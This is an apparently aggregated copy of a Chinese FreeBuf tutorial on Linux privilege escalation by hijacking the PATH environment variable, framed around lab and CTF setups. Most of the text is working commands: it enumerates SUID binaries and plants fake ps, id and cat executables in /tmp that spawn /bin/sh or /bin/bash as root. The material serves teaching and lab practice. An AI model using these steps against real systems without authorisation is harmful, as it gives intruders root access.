

在Linux中使用环境变量进行提权
source link: http://www.freebuf.com/articles/system/173903.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

在这篇文章中,我将会为大家介绍一些使用环境变量进行Linux提权的方法,包括在CTF challenges中使用到一些的技术。话不多说,让我们进入正题!
介绍
PATH是Linux和类Unix操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。
使用echo命令显示当前PATH环境变量:
echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
如果你在PATH变量中看到 ‘.’ ,则意味着登录用户可以从当前目录执行二进制文件/脚本,这对于攻击者而言也是一个提权的绝好机会。这里之所以没有指定程序的完整路径,往往是因为编写程序时的疏忽造成的。
方法1
Ubuntu LAB SET_UP
当前,我们位于/home/raj目录,我们将在其中创建一个名为/script的新目录。在script目录下,我们将编写一个小型的c程序来调用系统二进制文件的函数。
pwd mkdir script cd /script nano demo.c
正如你在demo.c文件中看到的,我们正在调用ps命令。
然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。
ls gcc demo.c -o shell chmod u+s shell ls -la shell
受害者VM机器
假设我们已经成功渗透目标,并进入提权阶段。我们通过ssh成功登录到了受害者的机器。然后使用Find命令,搜索具有SUID或4000权限的文件。
find / -perm -u=s -type f 2>/dev/null
通过上述命令,攻击者可以枚举出目标系统上所有的可执行文件,这里可以看到/home/raj/script/shell具有SUID权限。
进入到/home/raj/script目录,可以看到该目录下有一个可执行的“shell”文件,我们运行这个文件。
/home/raj/script
Echo命令
cd /tmp echo “/bin/sh” > ps chmod 777 ps echo $PATH export PATH=/tmp:$PATH cd /home/raj/script ./shell whoami
Copy命令
cd /home/raj/script/ cp /bin/sh /tmp/ps echo $PATH export PATH=/tmp:$PATH ./shell whoami
Symlink命令
ln -s /bin/sh ps export PATH=.:$PATH ./shell id whoami
注意:符号链接也叫软链接,如果目录具有完全权限,则它将成功运行。在Ubuntu中symlink情况下,我们已经赋予了/script目录777的权限。
因此,攻击者可以操纵环境变量PATH来进行提权,并获得root访问权限。
方法2
Ubuntu LAB SET_UP
重复上述步骤配置你的实验环境,现在在脚本目录中,我们将编写一个小型的c程序来调用系统二进制文件的函数。
pwd mkdir script cd /script nano demo.c
正如你在demo.c文件中看到的,我们正在调用id命令。
然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。
ls gcc demo.c -o shell2 chmod u+s shell2 ls -la shell2
受害者VM机器
同样,假设我们已经成功渗透目标,并进入提权阶段。我们通过ssh成功登录到了受害者的机器。然后使用Find命令,搜索具有SUID或4000权限的文件。在这里,我们可以看到/home/raj/script/shell2具有SUID权限。
find / -perm -u=s -type f 2>/dev/null
进入到/home/raj/script目录,可以看到该目录下有一个可执行的“shell2”文件,我们运行这个文件。
cd /home/raj/script ls ./shell2
Echo命令
cd /tmp echo “/bin/sh” > id chmod 777 id echo $PATH export PATH=/tmp:$PATH cd /home/raj/script ./shell2 whoami
方法3
Ubuntu LAB SET_UP
重复上述步骤配置你的实验环境。正如你在demo.c文件中看到的,我们正在调用cat命令从etc/passwd文件中读取内容。
然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。
ls gcc demo.c -o raj chmod u+s raj ls -la raj
受害者VM机器
同样,假设我们已经成功渗透目标,并进入提权阶段,通过执行以下命令查看sudo用户列表。
find / -perm -u=s -type f 2>/dev/null
在这里,我们可以看到/home/raj/script/raj具有SUID权限,进入到home/raj/script/目录,可以看到该目录下有一个可执行的“raj”文件。所以当我们运行这个文件时,它会把etc/passwd文件作为输出结果。
cd /home/raj/script/ ls ./raj
Nano 编辑器
cd /tmp nano cat
现在,当终端打开时输入/bin/bash并保存。
chmod 777 cat ls -al cat echo $PATH export PATH=/tmp:$PATH cd /home/raj/script ./raj whoami
方法4
Ubuntu LAB SET_UP
重复上述步骤配置你的实验环境。正如你在demo.c文件中看到的,我们正在调用cat命令读取/home/raj中的msg.txt中的内容,但/home/raj中并没有这样的文件。
然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。
ls gcc demo.c -o ignite chmod u+s ignite ls -la ignite
受害者VM机器
同样,假设我们已经成功渗透目标,并进入提权阶段,通过执行以下命令查看sudo用户列表
find / -perm -u=s -type f 2>/dev/null
在这里,我们可以看到/home/raj/script/ignite具有SUID权限,进入到/home/raj/script目录,可以看到该目录下有一个可执行的“ignite”文件。所以当我们运行这个文件时,它会报错“cat: /home/raj/msg.txt”文件或目录不存在。
cd /home/raj/script ls ./ignite
Vi编辑器
cd /tmp vi cat
现在,当终端打开时输入/bin/bash并保存。
chmod 777 cat ls -al cat echo $PATH export PATH=/tmp:$PATH cd /home/raj/script ./ignite whoami
*参考来源: hackingarticles ,FB小编 secist 编译,转载请注明来自FreeBuf.COM
Recommend
-
15
相信对看了前面几节内容的朋友来说,在 linux 中开发 C语言程序已经不在话下了。不过,不知道大家注意到没,我们自己写的C语言程序编译后,要想在 shell 中执行,往往还要将可执行程序的路径也输入。
-
13
linux环境变量简介linux环境变量简介。这个话题已经很老了,我只是重新温习一遍旧的知识而已。顺便熟悉下资料整理工具OmntOutliner。我们在使用android-sdk,android-ndk,jdk等众多软件时都会用到linux环境变量的配置。所以我觉得重点介绍下还是很有必...
-
9
linux 中变量分两种: 用户变量:对用户生效的变量,同一个用户登录的时候都有效, 使用 env 访问 shell 变量:当前shell 中的变量,包含了shell 对应用户的变量, 使用 set
-
7
初等記憶體「 一個你知道的地方,和一個沒有酒的故事 | 言文 」Linux 下的用户环境变量配置常显得十分琐碎,如 .xprofile、.pam_environment 亦或是各种 shell 配置文件。.xprofile 受限于 x1...
-
8
Linux 的环境变量怎么设 本文来自依云's Blog,转载请注明。 ...
-
9
环境变量几乎在每种命令行环境中都是很有帮助的,自然包括 FreeDOS 。来源:https://linux.cn/article-13995-1.html作...
-
0
1 Linux常用命令1.1 系统状况top:查看所有进程的信息(Linux的任务管理器)。 打开后输入M:按使用内存排序; 打开后输入P:按使用CPU排序; 打开后输入q
-
8
这个世界上只有两种系统,一种是被黑过的系统,一种是被黑了也不知情的系统 今天一早@MT在群里发了一个漏洞报告Cross Sit...
-
6
Linux环境变量 & 进程地址空间 推荐 原创 玄鸟轩墨 2022-08-22 09:23:24...
-
6
在上篇文章我们了解了进程的状态及Linux系统的进程状态,本篇我们主要了解进程优先级及环境变量。1.进程优先级说到优先级,我们首先要清楚什么是优先级,和权限有什么关系呢?优先级是进程获取资源的先后顺序 ,而权限呢?谈的是能不...
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK